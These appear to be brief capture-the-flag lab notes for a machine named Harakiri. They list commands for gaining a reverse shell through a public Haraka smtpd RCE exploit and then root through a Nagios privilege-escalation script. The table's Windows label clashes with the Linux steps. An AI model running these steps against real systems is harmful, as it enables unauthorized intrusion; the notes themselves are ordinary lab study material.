| Harakiri (.81) | |
|---|---|
| Operating System | Windows |
| Points | 25 |
| Similar Machine (User) | HackTheBox's RedCross |
| Similar Machine (Root) | |

**Exploit in Getting User**

1. Target machine has a service called Haraka smtpd 2.8.8 which is vulnerable to RCE - https://www.exploit-db.com/exploits/41162
2. Update the port in exploit to point it to target machine's smtp port
3. Get Reverse Shell - ***python 41162.py -m TARGET_IP -t root@haraka.test -c "reverse shell here"***
4. User shell!

**Privilege Escalation to Root**

1. Run sudo -l
2. Check the version of nagios - /usr/local/nagios/bin/nagios --version
3. Nagios is vulnerable to Root Privilege Escalation - https://gist.github.com/xl7dev/322b0f85dc9f6a06573302c7de4f4249
4. Run the exploit - bash nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
5. Root shell!